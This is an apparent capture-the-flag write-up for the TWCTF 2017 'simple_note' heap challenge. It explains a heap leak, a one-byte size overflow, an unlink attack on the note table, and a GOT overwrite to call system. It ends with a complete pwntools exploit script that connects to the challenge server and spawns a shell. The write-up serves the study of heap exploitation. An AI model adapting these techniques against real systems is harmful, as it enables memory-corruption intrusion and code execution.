TWCTF 2017 simple note writeup

During the CTF, simple_note and simple_note_v2 were released. I’ll be explaining the first one here.

Initial analysis reveals that PIE and FORTIFY are disabled and everything else is enabled.

The binary is a menu driven program that allows us to add, view, edit and remove notes. Each note is a buffer that is allocated on the heap of user determined size. The only constraint of the size is that it must be greater than 127 bytes.

The indexes are properly checked to prevent out of bounds access.

The input isn’t null terminated, so we can leak out data from the heap. Using this, we can leak out the address of the main arena and the heap.

The vulnerability in this binary is a buffer overflow in the edit functionality.

The code is something like this

len = strlen(list[idx]);
read_string(list[idx], len);

The prev_size field of a chunk is only used if the previous chunk is free. Otherwise, it can be used for other purposes such as storing some sort of data. This is a feature of malloc which makes sure that the amount of memory that goes unused is minimal. So in such a situation, the user input will end just before the size field of the successor chunk.

1

We can force such a situation to occur by requesting 0x88 bytes. The size of the chunk returned will be 0x91. Subtracting 16 bytes for the metadata, we’re left with 0x80 bytes where we had requested 0x88 bytes. The remaining 8 bytes will be the prev_size field of the chunk that lies next to this one.

So, when we use the edit functionality, strlen will add the length of the size of the next chunk along with the length of user input. And we can edit the size field of the next chunk.

Cool. So what now ?

My first thought was to try the House of Einherjar and get a chunk allocated in the BSS section. But the binary was not storing input anywhere other than the heap. So that was out of the question.

However, using the House of Einherjar, we would be able to get a chunk that overlaps other chunks. (This is one method to do this. You can achieve the same by tweaking the size field of a chunk and freeing it)

My next idea was to use this overlap to corrupt the fd and bk pointers of a free chunk to perform a House of Orange attack. But for that to work, the final request to malloc should be of size lesser than 0x80 which is not allowed by the binary. So that is another dead end.

And that is where I got stuck during the CTF. After the CTF, I read some writeups and got the idea behind the exploit.

We can modify the fd and bk pointers of a free chunk to point to the table of notes in the bss.

The only requirement is that the sanity check that was introduced to prevent the unlink corruption.

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, “corrupted double-linked list”, P, AV);

So, FD+0x10 should contain a pointer to P and BK+0x18 should also contain a pointer to P.

The table only contains pointers to chunks that are in use. So, that means, we’d have to trick malloc into thinking that an in use chunk is free.

Here, we use the overflow for a second time.

We edit the size field of an in use chunk and unset the PREV_INUSE bit. Now since the previous chunk is indicated as free, the prev_size field has to be properly set.

We can set it to a value such that P-prev_size is user controllable and such that the table contains a pointer to P-prev_size.

We can set the prev_size field such that P-prev_size points to the data section of the overlapping chunk.

And in the data section, we create a fake chunk with fake prev_size, size, fd and bk values.

Assume the table contains the pointer to this chunk at an address x.

The fd of this fake chunk should be x-0x10 and bk should be x-0x18.

Now, freeing the small chunk would cause backward coalescing which in turn invokes the unlink macro which performs our overwrite.

Once that is done, one of the entries in the table should be a pointer to an address in the table.

We can use the edit functionality to modify the entry to point it to the GOT table.

And use the edit functionality on this edited entry to overwrite a GOT entry with the address of system.

You might have to try this out to understand the working.

Here’s the script anyways

from pwn import *

prompt = "Your choice: "
add, delete, show, edit = "1", '2', '3', '4'
table = 0x6020C0

def add_note(size, payload):
    p.sendlineafter(prompt, add)
    p.sendlineafter("size: ", str(size))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

def delete_note(idx):
    p.sendlineafter(prompt, delete)
    p.sendlineafter("index: ", str(idx))

def show_note(idx):
    p.sendlineafter(prompt, show)
    p.sendlineafter("index: ", str(idx))
    p.recvuntil("Note: \n")
    p.recvline()
    note = p.recvline().strip()
    return ("\x00"+note).ljust(8, '\x00')

def edit_note(idx, payload):
    p.sendlineafter(prompt, edit)
    p.sendlineafter("index: ", str(idx))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./simple_note", env={"LD_PRELOAD": "./libc.so.6"})
    else:
        p = remote("pwn1.chal.ctf.westerns.tokyo", 16317)
    libc = ELF("./libc.so.6")
    e = ELF("./simple_note")
    #
    # First, let's start with the leaking
    #
    add_note(0x88, 'A'*0x80)
    add_note(0x88, 'A'*0x88)
    delete_note(0)
    add_note(0x88, 'A'*8)
    libc.address = u64(show_note(0)) - 0x3c4b00
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    #
    # Now let's create a few chunks
    #
    for x in xrange(4):
        add_note(0x88, 'A'*0x88)
    #
    # Use the single byte overflow to corrupt size field
    #
    edit_note(1, 'A'*0x88+'\xf1')
    #
    # Make sure that there is a valid chunk at the end of this corrupt chunk
    #
    payload = fit({0x50: p64(0)+p64(0x21),
                   0x70: p64(0)+p64(0x21)})
    edit_note(3, payload)
    #
    # Free the corrupted chunk
    #
    delete_note(2)
    #
    # Now we get that chunk allocated back to us
    # There is a pointer to the data section of this chunk in the table
    # We can set up a fake chunk in the data section.
    # And use the pointer in the table as a fake fd and bk pointer
    # So table+0x18 will be overwritten with table
    #
    payload = fit({0x90: p64(0)+p64(0x111)+p64(table)+p64(table+8)})
    add_note(0xe8, payload)
    #
    # Unset the prev_inuse to force coalescing
    # Which will lead to unlinking
    #
    payload = fit({0x80: p64(0x110)+'\x90'})
    edit_note(4, payload)
    #
    # Now trigger the unlink by freeing the chunk
    #
    delete_note(5)
    #
    # Now table+0x18 has been overwritten with the base address of the table
    # We can now edit the first pointer in the table
    #
    edit_note(3, p64(e.got['free'])[:4])
    #
    # Now editing the contents of the first table entry
    # Allows us to overwrite the GOT table
    #
    edit_note(0, p64(libc.symbols['system'])[:6])
    #
    # Just create one more chunk to be free'd immediately
    #
    add_note(0x80, '/bin/sh\x00')
    #
    # Trigger system by calling free
    #
    delete_note(5)
    p.interactive()

Leave a comment